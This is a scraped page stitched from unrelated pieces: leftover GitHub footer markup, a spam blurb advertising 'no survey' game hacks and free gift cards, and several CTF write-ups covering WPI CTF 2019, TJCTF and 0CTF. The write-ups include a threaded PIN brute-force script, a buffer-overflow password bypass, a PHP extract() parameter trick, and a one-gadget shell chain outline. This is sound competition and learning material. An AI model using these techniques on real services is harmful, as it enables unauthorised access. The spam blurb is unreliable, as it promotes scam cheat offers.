width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
[No Survey Game Hacks](http://monsterfollowup.com/category/game-hacks/) is established by the end of 2016 which is composed of two partners. While working at various game companies, we have closed many of the vulnerabilities of any systems. They are advanced in Android and iOS based operating systems. No Survey or No Human Verification make your life simpler so that your focus is only on winning. Now you have the opportunity of enjoying the game and achieving those precious resources in a few easy steps. By getting our No Human Verification Hack, you no longer need to struggle with your games and other stuff. With our No Survey or No Human Verification hacks, you can now use a few tricks to add unlimited resources to your account. If you are a fan of gaming and are addicted to playing games, then [Free Gift Cards](http://monsterfollowup.com/category/free-gift-cards/) is just the right thing for you. You can now play without having to spend all those money on the real in games and Gift Cards. All you need to focus now on is winning as long gone are the days when you had to worry about running out of resources.
My solution: Recreating C code from binary, brutforcing flag by pairs of chars. Intended solution: analyzing function to understand that it calculates digits of pi, use it to quickly reverse flag
This is a write up from my participation in WPI's CTF competition. [I got placed at 42nd place out of 586 teams with a score of 981](https://ctftime.org/team/78226). The event had a number of challenges, and I will be explaining the ones that I managed to clear in this document. # Linux**1. suckmore-shell** ###### Descrption Here at Suckmore Software we are committed to delivering a truly unparalleled user experience. Help us out by testing our latest project. ssh [email protected] pass: i'm a real hacker now Brought to you by acurless and SuckMore Software, a division of WPI Digital Holdings Ltd. After logging in through ssh, I searched for every file in every directory of the path which contained the string "WPI" using the **grep -r WPI /PATH**. After a number of attempts, I found the flag to be hidden in /home/ctf/flag file. Flag: WPI{bash_sucks0194342} **2. pseudo-random** ###### Descrption ssh [email protected] pass: random doesn't always mean random made by acurless Probably the hardest challenge for me. The name of the challenge suggested that the task has something to do with linux's pseudo-random generator /dev/random and /dev/urandom. After trying to use urandom a couple of times, I realized it is giving me the same result instead of being random. When I ran the command **file** on urandom, it suggested it is an ascii text file, which lead to the conclusion that this file has been modified. When I inspected /dev/random using the **file** command, it described it as **openssl enc'd data with salted password**. That lead me to believe that this file has been encrpted using openSSL and /dev/urandom is the key (password) file for it. So I used the command **openssl enc -aes-256-cbc -d -salt -in /dev/random -kfile /dev/urandom** which showed the following decrypted message with the flag: Being holy in our church means installing a wholly free operating system--GNU/Linux is a good choice--and not putting any non-free software on your computer. Join the Church of Emacs, and you too can be a saint! And lo, it came to pass, that the neophyte encountered the Beplattered One and humbly posed the question "Oh great master, is it a sin to use vi?" And St. IGNUcuis dist thus reply unto him, "No, my young hacker friend, it is not a sin. It is a penance." WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us} # Cryptography**1. zoomercrypt** ###### Descrption> My daughter is using a coded language to hide her activities from us!!!! Please, help us find out what she is hiding! ![Zoomer Crypt](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/zoomercrypt.jpg) We were given the above picture to decode the message from. I converted all emojis into unicode first, which resulted in a string like this: U+1F603 U+1F601 U+1F615 ......... I noticed that all of them have one thing in common: **U+1F6**, which leads me to the conclusion that we only need the last two bits of the code, which resulted into the following series of numbers: 03 01 15 17 08 17 07 0B 04 17 { 06 13 04 13 02 08_ 0E 03 03 01 13 06 07} Then tracing each number to their alphabetical position, we get: DBP RI RH LER{GNENCI_ODDBNGH} Now in the picture message, it mentions that the message is using ROT15 substitution cipher, so we shift each letter 15 positions backwards to get: OMA CT CS WPC{RYPYNT_ZOOMYRS} Now I was stuck at this point for a long time. I do not know if I made a mistake somehow in the process of decrypting, or it was intentional, but the resulting string had 2 letters wrong. After thinking about it for a while, I realized that the name of the challenge is "**zoomer**crypt", so our decrypted flag should be OMA CT CS WPC{RYPYNT_ZOOM**E**RS}, which made sense. Hence after replacing every instance of letter Y with E, we get: OMA CT CS WPC{REPENT_ZOOMERS} Which now made a lot of sense. So after changing the WPC to WPI (which is the flag format), I successfully managed to decrypt the message! Flag: WPI{REPENT_ZOOMERS} **2. jocipher** ###### Descrption> Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! We were given a compiled python file which the text was encrpted with. I used **uncompyle6** python decrypter to decompile the file to get access to its source code. That resulted in the following code: > https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/jocipher_Decompiled I modified the code slightly by adding the following code in the condition at line #133, to test a number of range for the correct seed to decrypt with: if args.decode: for i in range(50): print(i) ret = decode(args.string, i) With that, the flag was found at seed #48. Flag: WPI{xkcd-keyboard-mash} # Web**1. getaflag** ###### Descrption Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) The challenge required us to guess the correct password. Upon inspecting the source of the page, I found a commented out encrpted key: > \ The trailing == suggest that it is a base64 encoding, so after decrypting it, I found the message: > Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) That lead me to /auth.php page which contained the hints to solve this challenge. The page contained the following pseudo code: // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } } This hint shows us how the authentication works. So by manipulating the data sent to the website, I passed empty value for **input** and **passcode** which resulted in the comparison to be successful, resulting it in showing the flag. The URL was passed onto auth.php as follows: http://getaflag.wpictf.xyz:31337/?input=&passcode= The leads to the success page, but the flag itself is outputted as a console.log() command using JavaScript. So I had to open the browser console to get the flag. Flag: WPI{1_l0v3_PHP} # Miscellaneous**1. Remy's Epic Adventure** ###### Descrption A tribute to the former God Emperor of CSC and Mankind, Ultimate Protector of the CS Department, and Executor of Lord Craig Shue's Divine will. https://drive.google.com/drive/folders/1RmSgqBhd-_8CFYvvdJXqGDbvzjE3bcwG?usp=sharing Author: Justo This was one of the most fun and most frustrating challenge of them all. We were given a game to beat. In the final level of the game, there is a boss which we have to beat to get the flag. After trying to kill it for an hour, I used a small python script using Pynput which left-clicks every 0.001 ms. Even with that, after 20 minutes of trying I could not kill the boss. Which made me realise that challenge requires us to kill it by other means. I used a tool called **Cheat Engine**. This tool lets you collect information about running processes, and lets you manipulate values stored in the registers to modify the game behavior. After loading the game in cheat engine, I found that the boss has 2147483646 HP (no wonder I couldn't kill it!). So I changed the value of its HP to 0 and that instantly killed it. After getting out of the stage, the flag is displayed on the screen to be written down. Flag: WPI{j0in_th3_illumin@ti_w1th_m3} # PWN**1. Source pt1** ###### Descrption ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff. made by awg This task required us to log into their server using the provided details. Upon login, you are promoted to write a password to gain access to the source code: Enter the password to get access to https://www.imdb.com/title/tt0945513/ Upon entering a wrong password, the connection closes with the following error: Pasword auth failed exiting Connection to source.wpictf.xyz closed. So I tried to find the length of the password. After several tries, I noticed that the connection simply closes if you enter a password above a certain length; without any error. That made me narrow the length of the password down to around 110 characters. Upon entering a random string of length 109 characters as password, the source of the program is displayed where the flag is hidden in a comment. Upon inspecting the source code, I noticed that the length of the password is 100 characters, and by entering a certain amount of characters, we overflowed the buffer; giving us access to the source code. Flag: WPI{Typos_are_GrEaT!} # Reversing**1. strings** For this challenge, we were given an execuable file to run. I opened the file in a text editor and search for the key word "WPI" and found the flag in it. Flag: WPI{What_do_you_mean_I_SEE_AHH_SKI} # Recon**1. Chrip** ![Chirp Recon](https://github.com/NaeemKhan14/WPI-CTF-2019-write-up/blob/master/chirp.png) Perhaps the easiest challenge of them all. We were given a picture of a blue bird, with a watermark "Seige" written on it. This hinted that the answer is somewhere on Twitter. Upon searching for Seige Technologies's (which were the sponsor of this event) Twitter page, I found the key in one of their tweets. Flag: WPI{sp0nsored_by_si3ge}
## TL;DR1. Reverse the binary2. Find a isomorphism between that strange numeral system and Z(Integer Group).3. Calculate modular Ackermann function.4. Reduce the exponent using euler's totient.
# Advanced Persistent Threat - Forensics ### Points : #### Solved : # ###### Files :malware.rar ###### HintsNone --- # Walkthrough Never run anything related to malware in your environment. A good reflex is to have it automatically evaluated using available sandboxed tools out there. Uploaded the file to VirusTotal https://www.virustotal.com/en/file/743e16b3ef4d39fc11c5e8ec890dcd29f034a6eca51be4f7fca6e23e60dbd7a1/analysis/1279281358/ One of the fishy executables : _stuxnet.exe_ We just have to provide its md5 as stated in the description _10362ed9773859ef725ab43c9a11868b_ ## Flag HZVII{10362ed9773859ef725ab43c9a11868b}
# Simply Secure Secrets (50 points, misc) ## Problem`nc p1.tjctf.org 8000` ## SolutionRunning the command mentioned above, we are taken to a service:```Welcome to the Simply Secure Service! (TRIAL)The product: an impregnable bunker for your most vulnerable secrets.---------------------------------------------Commands: l - List all secret names s - Store a secret r - Reveal a secret u - Upgrade to PRO h - Display this help menu x - Exit service> ```Let's poke around a little bit.```> lList of stored secret names: - tjctf - evan - omkar> ``` Interesting. The secret is probably inside of `tjctf`. Let's retrieve it with the previously-mentioned `r` command.```> rSecret name: tjctfSecret pin:```It's now asking for a pin number. Let's enter something random and see what happens.```Secret pin: 1Secret pin must be in ###### format.```Let's see if we get anything back if we enter a pin number in the format the program wants.```Secret pin: 000001Invalid pin. The appropriate authorities have been notified.> ``` Not the police. Well, my first thought would be to bruteforce this problem, and it seems I was right. ### The Script ``` Pythonimport socketimport threadingimport time # https://gist.github.com/leonjza/f35a7252babdf77c8421 class Netcat: """ Python 'netcat like' module """ def __init__(self, ip, port): self.buff = "" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port)) def read(self, length = 1024): """ Read 1024 bytes off the socket """ return self.socket.recv(length) def read_until(self, data): """ Read data into the buffer until we have data """ while not data in self.buff: self.buff += self.socket.recv(1024) pos = self.buff.find(data) rval = self.buff[:pos + len(data)] self.buff = self.buff[pos + len(data):] return rval def write(self, data): self.socket.send(data) def writeln(self, data): data += b"\n" self.socket.send(data) def close(self): self.socket.close() class SolverThread(threading.Thread): def run(self): thread_number = int(threading.currentThread().getName()) self.do_the_stuff(10000, thread_number) def do_the_stuff(self, cracking_range, thread_number): nc = Netcat('p1.tjctf.org', 8000) for x in range(cracking_range * thread_number, cracking_range * (thread_number + 10000)): nc.buff = b'' print(nc.read_until(b">")) nc.writeln(str.encode("r")) nc.read_until(b"Secret") nc.writeln(str.encode("tjctf")) nc.read_until(b"Secret") print(str(x).zfill(6)) nc.writeln(str.encode(str(x).zfill(6))) def main(): for x in range(100): thread = SolverThread(name = "{}".format(x + 1)) thread.daemon = True # allow us to Ctrl+C to kill all threads thread.start() while True: time.sleep(1) if __name__ == '__main__': main()``` Yeah. It's kind of a mess. It works by creating 100 threads, each tasked with:.1. Creating a netcat connection to `pi.tjctf.org 8000`2. Then, in a loop: 1. Sending a bunch of commands to reach the pin entry prompt (as demonstrated above) 2. Checking one of the pin numbers it's assigned (via its thread number) 3. Printing what it returns (for use by `tee -a` and `grep`. Run the script with `python3 sss.py | tee -a flag` and to use it, in another window, occaisonaly grep the file for `tjctf`, it shows up eventually. ```$ python3 sss.py | tee -a flag.txt$ grep tjctf flag.txtb'Secret content: tjctf{1_533_y0u_f0rc3d_y0ur_w4y_1n}\n>'```
# wPI - Reversing - 400 points I am one of the organizers of WPICTF, so this writeup is going to be a little "biased" per say. Remy wrote the challenge, and asked me to create a solution for it. If you want a writeup from the point of view of a competitor (no source access, no insider knowledge, etc), then please look at [Armia Prezesa's writeup](https://wiki.armiaprezesa.pl/books/wpictf2019/page/wpi) ## Challenge description: I wanted to make a binary to show my school spirit, but I think I may have missed the mark... made by rm -k File from https://drive.google.com/open?id=1Ysa78UAXp8WvfUPt9NtLyreokoHfINrM ## Lookin at it Well I had source code access and was also talking to the challenge creator (Remy) during this process. From the outside, it is a generic reversing challenge. Takes the flag on argv[1] and tells you wheather the flag is correct or incorrect. There are 3 parts to this challenge. 1. The first is a simple md5sum of the entered text, and then uses the first 2 bytes of that md5sum as an initial offset.2. The second part (and meat of the challenge) is to take each set of 2 bytes of the entered flag, add that onto the offset, and then calculate Pi at those offsets. The Pi calculation resulted in 3 hex digits which would be compared to a table. I will call these "cookies".3. The final part is a sha3 of the flag to verify against a known hash. This is to remove any false positives. ## General solution idea The initial md5sum offset was designed such to attempt to remove the possibility of bruteforcing the solution 2 bytes at a time. Turns out Armia Prezesa had a slightly easier solution to this that could get past the initial md5sum, but this is the "correct" solution. Each cookie shows up quite often in Pi, so we cant just look for the first instance of the cookie and use that. Simplest Idea: Take the table of Pi "cookies", find everywhere they showed up in Pi, and then DFS combinations of them until the offsets between them equalled the flag (verified by sha3). The total search space of pi would be less than ((FLAG_LEN/2)+1) * 32700, as the largest 2 byte "offset" could be 32639 (printable ascii, both byte values have to be < 128). We knew the flag len based on the table of pi "cookies". 16 "cookies" = 32 total bytes of flag. 5 of which we already know (WPI{...}) This means we need at most 555900 digits of pi... Not too bad. ## Generating piFuck that. Pi is hard and slow to generate. I found a pre-made million digis of pi in hex that encompassed my pi search space. I think i downloaded it from [https://pi2e.ch/blog/2017/03/10/pi-digits-download/](https://pi2e.ch/blog/2017/03/10/pi-digits-download/). Ezpz. First i went through that list and kept track of every time the "cookies" showed up. I dont want to search for them in Pi a billion times, so caching the results into a "fast" data structure was key. For each cookie, i Kept track a table of locations that it showed up in pi, sorted. All connections in the search have to go forward (Positive offset), so we can ignore going "backwards" in Pi. While doing the DFS, we can ignore connections that would result in unprintable characters (each byte <32 or >127), or that went over the 2 byte bounds (65535); This also further lowered the search space. Finally, we had to deal with the "unknown" start offset (md5). We did this by subtracting "WP" from all the instances of the start cookie and using that as our actual starting place in our DFS. We could also early out any 2nd cookies that didnt result in an offset of "I{", but our solver was fast enough without that. Finally, we could just use each "end" of the DFS as a string to throw at the final sha3 check. If the check passed, then we would have the flag. There were thousands of strings that passed the Pi part, so the sha3 was very necisary. After some more optimization, we got the solver to run faster than the actual challenge itself. Can probably speed it up even still by doing some stuff like binary searching, but... its already fast. ```$ time ./a.out e89, 140 // cookie, and number of times it showed up in our Pi we cared aboutb87, 1458ad, 1417c7, 133e7c, 1333a3, 138425, 138275, 144b54, 1351a6, 1312ed, 1191c5, 142fdf, 137331, 1122db, 12674f, 115WPI{Sw33TeR_tH@n_aH_cH3rRi3_P1e} real 0m4.932suser 0m4.925ssys 0m0.004s``` [See solution script](solve.c)
- Flipping `exit` to `_start`- Flipping `welcome_str` to `setvbuf.got`- Filpping `exit` to `main`- Flipping `localtime` to onegadget- Flipping `exit` back to `_start`- Enjoy shell https://kileak.github.io/ctf/2019/tghack-flippin/
I learnt from this writup: https://ctftime.org/writeup/14059 Solve it using my favorite language. ```package org.zeroctf.babysponge; import java.math.BigInteger;import java.util.ArrayList;import java.util.HashMap;import java.util.List;import java.util.Map; public class Solver { private static final BigInteger maxValue = new BigInteger("18446744073709551615"); private static BigInteger ROL64(BigInteger a, int n) { return a.shiftRight(64 - (n%64)).add(a.shiftLeft(n%64).and(maxValue)); } private static BigInteger load64(int[] b) { BigInteger result = new BigInteger("0"); for (int i = 0; i < 8; ++i) { BigInteger B = new BigInteger(Integer.toString(b[i])); result = result.add(B.shiftLeft(8*i)); } return result; } private static int[] store64(BigInteger a) { int[] result = new int[8]; BigInteger c = new BigInteger("255"); for (int i = 0; i < 8; ++i) { result[i] = a.shiftRight(8*i).and(c).intValue(); } return result; } private static void KeccakF1600onLanes(BigInteger[][] lanes) { int R = 1; for (int round = 0; round < 24; ++round) { BigInteger[] C = new BigInteger[5]; for (int x = 0; x < 5; ++x) { BigInteger item = new BigInteger("0"); for (int y = 0; y < 5; ++y) { item = item.xor(lanes[x][y]); } C[x] = item; } BigInteger[] D = new BigInteger[5]; for (int x = 0; x < 5; ++x) { D[x] = C[(x + 4)%5].xor(ROL64(C[(x + 1)%5], 1)); } for (int x = 0; x < 5; ++x) { for (int y = 0; y < 5; ++y) { lanes[x][y] = lanes[x][y].xor(D[x]); } } //printLanes(lanes); for (int i = 0; i < 1; ++i) { int x = 1; int y = 0; BigInteger current = lanes[x][y]; for (int t = 0; t < 24; ++t) { int temp = x; x = y; y = (2*temp + 3*y)%5; BigInteger temp2 = current; current = lanes[x][y]; lanes[x][y] = ROL64(temp2, (t + 1)*(t + 2)/2); } } //printLanes(lanes); for (int y = 0; y < 5; ++y) { BigInteger[] T = new BigInteger[5]; for (int x = 0; x < 5; ++x) { T[x] = lanes[x][y]; } for (int x = 0; x < 5; ++x) { lanes[x][y] = T[x].xor(T[(x + 1)%5].xor(maxValue).and(T[(x + 2)%5])); } } //printLanes(lanes); for (int j = 0; j < 7; ++j) { R = ((R << 1) ^ ((R >> 7) * 0x71)) & 0xff; if ((R & 2) != 0) { BigInteger B = new BigInteger("1"); BigInteger B2 = new BigInteger("1"); B = B.shiftLeft(j).subtract(new BigInteger("1")); B = B2.shiftLeft(B.intValue()); lanes[0][0] = lanes[0][0].xor(B); } } //printLanes(lanes); } } private static int[] KeccakF1600(int[] state) { BigInteger[][] lanes = new BigInteger[5][5]; for (int x = 0; x < 5; ++x) { for (int y = 0; y < 5; ++y) { int[] b = new int[8]; for (int k = 0; k < 8; ++k) { b[k] = state[8*(x + 5*y) + k]; } lanes[x][y] = load64(b); } } //printLanes(lanes); KeccakF1600onLanes(lanes); //printLanes(lanes); int[] result = new int[200]; for (int x = 0; x < 5; ++x) { for (int y = 0; y < 5; ++y) { int[] item = store64(lanes[x][y]); for (int k = 0; k < 8; ++k) { result[8*(x + 5*y) + k] = item[k]; } } } return result; } private static int[] Keccak(int rate, int capacity, int[] inputBytes, int outputByteLen) { int[] state = new int[200]; int rateInBytes = rate/8; int blockSize = 0; int inputOffset = 0; while (inputOffset < inputBytes.length) { blockSize = Math.min(inputBytes.length - inputOffset, rateInBytes); for (int i = 0; i < blockSize; ++i) { state[i] = state[i] ^ inputBytes[i + inputOffset]; } inputOffset += blockSize; if (blockSize == rateInBytes) { state = KeccakF1600(state); blockSize = 0; } } int[] result = new int[outputByteLen]; System.arraycopy(state, 0, result, 0, outputByteLen); return result; } private static int[] convert(int num, int outputLen) { int[] result = new int[outputLen]; for (int i = 0; i < 4; ++i) { result[outputLen - 1 - i] = num & 0xff; num = num >> 8; } /* for (int i = 4; i < outputLen; ++i) { result[outputLen - 1 - i] = 0; }*/ return result; } private static String arrToStr(int[] arr) { StringBuffer sb = new StringBuffer(); for (int ch : arr) { String hex = Integer.toHexString(ch); if (hex.length() == 1) { sb.append("0"); } sb.append(Integer.toHexString(ch)); } return sb.toString(); } private static int[] arrXor(int[] m, int[] n) { int[] result = new int[194]; for (int i = 0; i < 194; ++i) { result[i] = m[i] ^ n[i]; } return result; } private static void printArr(int[] arr) { System.out.println("====printArr===="); System.out.println(arrToStr(arr)); System.out.println("====printArr===="); } private static void printLanes(BigInteger[][] lanes) { System.out.println("====printLanes===="); StringBuffer sb = new StringBuffer(); for (int x = 0; x < 5; ++x) { for (int y = 0; y < 5; ++y) { int[] t = store64(lanes[x][y]); for (int i = 0; i < 8; ++i) { String hex = Integer.toHexString(t[i]); if (hex.length() == 1) { sb.append("0"); } sb.append(hex); } } } System.out.println(sb.toString()); System.out.println("====printLanes===="); } public static void main(String[] args) { Map<String, Integer> checkMap = new HashMap<String, Integer>(); for (int i = 0; i <= 2147483647; ++i) { int[] inputBytes = convert(i, 194); int[] state = Keccak(1552, 48, inputBytes, 200); int[] capacity = new int[6]; System.arraycopy(state, 194, capacity, 0, 6); String key = arrToStr(capacity); if (checkMap.containsKey(key)) { System.out.println("Found!\n"); int[] m = convert(checkMap.get(key), 194); int[] n = convert(i, 194); printArr(m); printArr(n); int[] exm1 = Keccak(1552, 48, m, 200); int[] exm2 = Keccak(1552, 48, n, 200); printArr(exm1); printArr(exm2); int[] ex = arrXor(exm1, exm2); int[] res1 = new int[194*2]; int[] res2 = new int[194*2]; System.out.println("Result is:\n"); System.arraycopy(m, 0, res1, 0, 194); System.arraycopy(n, 0, res2, 0, 194); System.arraycopy(ex, 0, res2, 194, 194); printArr(res1); printArr(res2); } else { checkMap.put(key, i); } if (i % 10000 == 0) { System.out.println(i); } } }} ```
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff.``` Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-05-45.png) However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or ```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h> #include <stdlib.h>#include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;} char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ``` ------------- Strings-------------```Challenge:A handy tool for your RE efforts! made by AWG File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs``` When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-23-47.png) Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}``` ------------- Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! made by Samantha Comeau https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1``` After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag. ```# !/bin/bash for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone``` ``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode``` Where our reasonable output is ```WPI{xkcd-keyboard-mash}``` ------------ Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz``` They redirect you to the site. where if you open up the source code, you'll 